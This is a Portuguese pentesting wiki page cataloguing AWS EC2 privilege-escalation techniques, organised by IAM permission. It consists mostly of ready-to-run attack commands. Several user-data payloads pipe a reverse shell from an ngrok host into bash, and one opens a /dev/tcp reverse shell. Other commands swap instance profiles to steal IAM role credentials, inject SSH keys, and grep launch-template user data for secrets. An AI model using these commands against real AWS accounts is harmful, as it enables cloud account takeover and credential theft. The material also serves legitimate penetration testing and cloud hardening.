AWS - EC2 Privesc

Reading time: 11 minutes

EC2

Para mais informações sobre EC2 consulte:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Um atacante poderia criar uma instância anexando um papel IAM e então acessar a instância para roubar as credenciais do papel IAM do endpoint de metadados.

• Acesso via SSH

Execute uma nova instância usando uma chave ssh criada (--key-name) e então faça ssh nela (se você quiser criar uma nova, pode precisar da permissão ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>

• Acesso via rev shell em dados do usuário

Você pode executar uma nova instância usando um user data (--user-data) que enviará um rev shell. Você não precisa especificar o grupo de segurança dessa forma.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Tenha cuidado com o GuardDuty se você usar as credenciais do papel IAM fora da instância:

AWS - GuardDuty Enum

Impacto Potencial: Privesc direto para qualquer papel EC2 anexado a perfis de instância existentes.

Privesc para ECS

Com esse conjunto de permissões, você também poderia criar uma instância EC2 e registrá-la dentro de um cluster ECS. Dessa forma, os serviços do ECS serão executados dentro da instância EC2 onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e roubar seus papéis ECS anexados.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Para aprender como forçar serviços ECS a serem executados nesta nova instância EC2, verifique:

AWS - ECS Privesc

Se você não pode criar uma nova instância mas tem a permissão ecs:RegisterContainerInstance, você pode ser capaz de registrar a instância dentro do cluster e realizar o ataque comentado.

Impacto Potencial: Privesc direto para funções ECS anexadas a tarefas.

iam:PassRole, iam:AddRoleToInstanceProfile

Semelhante ao cenário anterior, um atacante com essas permissões poderia mudar a função IAM de uma instância comprometida para que ele pudesse roubar novas credenciais.
Como um perfil de instância pode ter apenas 1 função, se o perfil de instância já tem uma função (caso comum), você também precisará de iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Se o perfil da instância tiver um papel e o atacante não puder removê-lo, há outra solução alternativa. Ele poderia encontrar um perfil de instância sem um papel ou criar um novo (iam:CreateInstanceProfile), adicionar o papel a esse perfil de instância (como discutido anteriormente) e associar o perfil de instância comprometido a uma instância comprometida:

• Se a instância não tiver nenhum perfil de instância (ec2:AssociateIamInstanceProfile)

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Impacto Potencial: Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Com essas permissões, é possível alterar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.

• Se tiver um perfil de instância, você pode remover o perfil de instância (ec2:DisassociateIamInstanceProfile) e associá-lo.

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

• ou substituir o perfil da instância da instância comprometida (ec2:ReplaceIamInstanceProfileAssociation).

aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Impacto Potencial: Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico).

ec2:RequestSpotInstances,iam:PassRole

Um atacante com as permissões ec2:RequestSpotInstanceseiam:PassRole pode solicitar uma Instância Spot com um Papel EC2 anexado e um rev shell nos dados do usuário.
Uma vez que a instância é executada, ele pode roubar o papel IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Um atacante com o ec2:ModifyInstanceAttribute pode modificar os atributos das instâncias. Entre eles, ele pode alterar os dados do usuário, o que implica que ele pode fazer a instância executar dados arbitrários. Isso pode ser usado para obter um rev shell na instância EC2.

Observe que os atributos só podem ser modificados enquanto a instância estiver parada, então as permissões ec2:StopInstances e ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impacto Potencial: Privesc direto para qualquer Função IAM do EC2 anexada a uma instância criada.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Um atacante com as permissões ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate e ec2:ModifyLaunchTemplate pode criar uma nova versão do Template de Lançamento com um rev shell em os dados do usuário e qualquer Função IAM do EC2 nela, mudar a versão padrão, e qualquer grupo de Autoscaler usando esse Template de Lançamento que está configurado para usar a versão mais recente ou a versão padrão irá re-executar as instâncias usando esse template e irá executar o rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impacto Potencial: Privesc direto para um papel EC2 diferente.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Um atacante com as permissões autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole pode criar uma Configuração de Lançamento com um Papel IAM e um rev shell dentro dos dados do usuário, então criar um grupo de autoscaling a partir dessa configuração e esperar que o rev shell roube o Papel IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Impacto Potencial: Privesc direto para um papel EC2 diferente.

!autoscaling

O conjunto de permissões ec2:CreateLaunchTemplate e autoscaling:CreateAutoScalingGroup não é suficiente para escalar privilégios para um papel IAM porque, para anexar o papel especificado na Configuração de Lançamento ou no Template de Lançamento, você precisa das permissões iam:PassRole e ec2:RunInstances (o que é um privesc conhecido).

ec2-instance-connect:SendSSHPublicKey

Um atacante com a permissão ec2-instance-connect:SendSSHPublicKey pode adicionar uma chave ssh a um usuário e usá-la para acessá-lo (se ele tiver acesso ssh à instância) ou para escalar privilégios.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impacto Potencial: Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Um atacante com a permissão ec2-instance-connect:SendSerialConsoleSSHPublicKey pode adicionar uma chave ssh a uma conexão serial. Se a serial não estiver habilitada, o atacante precisa da permissão ec2:EnableSerialConsoleAccess para habilitá-la.

Para se conectar à porta serial, você também precisa saber o nome de usuário e a senha de um usuário dentro da máquina.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Dessa forma, não é tão útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo.

Impacto Potencial: (Altamente improvável) Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.

describe-launch-templates,describe-launch-template-versions

Como os modelos de lançamento têm versionamento, um atacante com permissões ec2:describe-launch-templates e ec2:describe-launch-template-versions poderia explorá-los para descobrir informações sensíveis, como credenciais presentes nos dados do usuário. Para realizar isso, o seguinte script percorre todas as versões dos modelos de lançamento disponíveis:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

Nos comandos acima, embora estejamos especificando certos padrões (aws_|password|token|api), você pode usar uma regex diferente para procurar outros tipos de informações sensíveis.

Assumindo que encontramos aws_access_key_id e aws_secret_access_key, podemos usar essas credenciais para autenticar no AWS.

Impacto Potencial: Escalação de privilégios direta para usuário(s) IAM.

Referências

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/